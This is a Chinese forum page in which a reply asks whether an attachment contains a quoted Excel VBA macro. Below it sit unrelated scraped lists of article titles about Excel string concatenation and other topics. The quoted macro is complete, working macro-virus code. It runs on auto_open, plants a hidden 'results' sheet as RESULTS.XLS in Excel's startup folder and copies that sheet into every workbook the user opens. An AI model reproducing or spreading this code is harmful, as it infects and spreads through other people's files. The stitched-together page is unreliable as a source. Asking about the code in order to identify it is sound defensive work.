楼上的附件中包含如下代码吗:

Sub auto_open()

Application.OnSheetActivate = "ck_files"

End Sub

Sub ck_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "RESULTS.XLS")

If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

Select Case whichfile

Case 10

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

Sheets("results").Visible = True

Sheets("results").Select

Sheets("results").Copy

With ActiveWorkbook

.Title = ""

.Subject = ""

.Author = ""

.Keywords = ""

.Comments = ""

End With

newname$ = ActiveWorkbook.Name

c4$ = CurDir()

ChDir Application.StartupPath

ActiveWindow.Visible = False

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False

ChDir c4$

Workbooks(n4$).Sheets("results").Visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "RESULTS.XLS!ck_files"

Case 1

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

p4$ = ActiveWorkbook.Path

s$ = Workbooks(n4$).Sheets(1).Name

If s$ <> "results" Then

Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("results").Visible = False

Else

End If

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "RESULTS.XLS!ck_files"

Case Else

End Select

End Sub

excel字符串和单元格拼接_单元格引用问题(引用的单元格与字符串变量连接)...相关推荐

  1. 单元格格式_你最想要的自定义单元格格式来了!

    Excel提供了功能丰富的自定义格式代码,当我们在单元格输入数值后,可以通过自定义格式创建自己需要的数据格式. 自定义格式代码常规情况下分为四段,每一段的意思是:正数格式;负数格式;零值格式;文本格式 ...

  2. python 字符串拼接_面试官让用 3 种 python 方法实现字符串拼接 ?对不起我有8种……...

    点击上方 蓝字关注我们 点击上方"印象python",选择"星标"公众号重磅干货,第一时间送达!之前发过很多关于 Python 学习的文章,收到大家不少的好评, ...

  3. python字符串与列表与运算_[Python学习笔记1]Python语言基础 数学运算符 字符串 列表...

    这个系列是我在学习Python语言的过程中记录的笔记,主要是一些知识点汇总,而非学习教程,可供有一定编程基础者参考.文中偏见和不足难以避免,仅供参考,欢迎批评指正. 本系列笔记主要参考文献是官网文档: ...

  4. python合并单元格 索引_如何在matplotlib选项卡中合并单元格

    我用matplotlib创建了一个表,我想合并一些单元格.索引中具有相同字符串的单元格将合并为一个单元格.在 问题被标记为重复,但链接无法回答我的问题#tbl_handler is an instan ...

  5. 含有参数的sql拼接_关于SQL语句参数中为多个带.字符串。

    关于 SQL 语句参数中为多个带 ',' 的字符串 原本是这样 , 参数有 date,@didian insert into hp( 个人编号 , 身份证号 , 姓名 , 性别 , 民族 , 出生日期 ...

  6. mysql分隔字符串转变为多行_【mysql】将以固定分隔符分隔的字符串转成多行的形式...

    背景 近期在做用户标签项目,目前标签的存储是用户id,标签ids(每个标签以,形式存储) 的形式,但是如果想统计前后两天标签的变化,使用find_in_set函数,一方面查询速度慢(因为不能使用索引) ...

  7. c字符串中包含双引号_码哥学Python,一起解密神秘的字符串密码

    哈喽,大家好,又到了晚上学习Python的时间了,想学习python的同学可以一起哦. 字符串 由0个或多个字符组成的有序字符序列,Python中的字符串用单引号 ' 或双引号 " 括起来, ...

  8. excel字符串和单元格拼接_Excel单元格内计算式及字符串拼接实现

    基本语法 &:逻辑并,用以拼接字符串 =:计算式求结果 " ":其内部放入要显示的字符串 实现计算的方法 案例模拟: 1.定义名称 在Excel的菜单栏,插入->名称 ...

  9. excel字符串和单元格拼接_excel拼接函数_excel使用公式进行文本拼接的方法

    在Excel中经常需要用到公式把文本拼接起来,具体怎么做呢?接下来是学习啦小编为大家带来的excel 使用公式进行文本拼接的方法,供大家参考. excel 使用公式进行文本拼接的方法 文本拼接步骤1: ...

  10. excel字符串和单元格拼接_excel字符合并技巧:几种连接字符串的方法助你高效办公...

    编按:哈喽,大家好!用excel连接字符串,是我们在日常工作中,比较常用的技巧.相信大家使用最多的连接方式就是"&".但其实,在excel中连接字符串的方法有很多,并且,看 ...

最新文章

  1. 继LSTM之父用世界模型来模拟2D赛车后,谷歌又推出全新世界模型助力导航:360度无死角,就问你怕了没?...
  2. APP压力測试新手教程
  3. 修改Ubuntu和XP双系统时的默认启动系统
  4. js(Dom+Bom)第八天
  5. 面试官又整新活,居然问我for循环用i++和++i哪个效率高?
  6. pymysql流式读取数据库
  7. 财务人员工资那么低,财务工作真的有价值吗?
  8. 客户端无法连接到远程计算机。可能没有启用远程连接
  9. js修改css样式的方法,js如何设置css样式?js修改css样式的方法
  10. Vue源码学习目录(持续更新中)
  11. 2.《JSP应用开发案例教程》第1章 JSP概述
  12. hp-ux 修改系统时间
  13. 2021年4月12日 关于VRRP!!!
  14. 台式计算机技术参数响应表,详细技术参数响应表介绍.doc
  15. 【Day6.2】现金所剩无几,机智想办法去机场
  16. RK3368 Edp屏调试,利用EDID做兼容
  17. 计算机无法进入增值税认证平台,增值税发票综合服务平台热点问题解答 (第三期)...
  18. Mac 设置 xdebug + Sublime 方法整理
  19. anaconda常用命令
  20. 电视剧植入式广告的植入方式有哪些

热门文章

  1. 移动互联网时代的信息安全与防护
  2. centos7.4更新安装ssh8.8
  3. c语言调用abs需要加什么作用,c语言中abs函数怎么用
  4. 阿里云盘内测_阿里云盘即将推出,欲与百度网盘较高下
  5. SAP PI PO XSLT Mapping of Adapter-Specific Message Attributes
  6. DPlayer.js视频播放插件
  7. 简单线性相关案例-求相关系数
  8. 如何批量将 Excel 文档转为 Xps 格式
  9. 进行海外媒体发稿的稿件撰写技巧和方法
  10. Clone 2. 肿瘤克隆进化之不同进化模式